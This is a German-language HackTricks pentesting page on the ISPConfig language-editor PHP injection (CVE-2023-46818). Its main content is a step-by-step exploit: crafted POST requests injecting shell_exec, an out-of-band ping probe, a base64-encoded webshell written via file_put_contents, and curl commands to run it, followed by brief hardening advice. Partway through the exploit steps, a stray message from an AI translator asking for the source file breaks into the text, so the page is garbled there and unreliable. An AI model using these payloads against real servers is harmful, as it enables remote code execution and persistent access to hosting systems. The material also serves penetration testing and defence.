ISPConfig
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Überblick
ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Sprachdatei-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, über einen fehlerhaften Übersetzungsdatensatz beliebige PHP-Code-Injektion erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Rechteeskalation führen.
Wichtige Standardpfade:
- Das Web-Root befindet sich oft unter
/var/www/ispconfig
, wenn es mitphp -S
oder über Apache/nginx ausgeliefert wird. - Die Admin-UI ist im HTTP(S)-vhost erreichbar (manchmal nur an localhost gebunden; verwende bei Bedarf eine SSH-Portweiterleitung).
Tipp: Wenn das Panel lokal gebunden ist (z. B. 127.0.0.1:8080
), weiterleiten:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Spracheditor PHP code injection (CVE-2023-46818)
- Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
- Voraussetzungen:
- Login mit dem eingebauten Superadmin-Account
admin
(anderen Rollen sind laut Vendor nicht betroffen) - Language editor muss aktiviert sein:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- Impact: Authenticated admin kann beliebiges PHP injizieren, das in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manueller Exploit-Ablauf
- Öffnen/Erstellen einer Sprachdatei, um CSRF-Tokens zu erhalten
Sende einen ersten POST, um das Formular zu initialisieren und parse die CSRF-Felder aus der HTML-Antwort (csrf_id
, csrf_key
). Beispiel Request-Pfad: /admin/language_edit.php
.
- PHP über records[] injizieren und speichern
Sende einen zweiten POST, der die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band-Test (ICMP beobachten):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Dateien schreiben und eine webshell ablegen
Verwende file_put_contents
, um eine Datei unter einem vom Web erreichbaren Pfad (z. B. admin/
) zu erstellen:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Schreibe dann eine einfache webshell, die base64 verwendet, um problematische Zeichen im POST-Body zu vermeiden:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Ich habe keinen Zugriff auf deine lokale Datei. Bitte füge den Inhalt von src/network-services-pentesting/pentesting-web/ispconfig.md hier ein (oder lade die Datei hoch), dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung sämtlicher Markdown-/HTML-Syntax und der genannten Ausnahmen. Möchtest du die gesamte Datei oder nur bestimmte Abschnitte übersetzt haben?
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Wenn PHP als root ausgeführt wird (z. B. via php -S 127.0.0.1:8080
, von root gestartet), führt das sofort zu root RCE. Andernfalls erhält man Codeausführung als Benutzer des Webservers.
Python PoC
Ein gebrauchsfertiger Exploit automatisiert token handling und payload delivery:
Beispielausführung:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Härtung
- Auf 3.2.11p1 oder neuer aktualisieren
- Deaktivieren Sie den Spracheditor, sofern nicht unbedingt erforderlich:
admin_allow_langedit=no
- Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den Webserver so, dass Privilegien abgesenkt werden
- Erzwinge starke Authentifizierung für das eingebaute
admin
-Konto
Referenzen
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.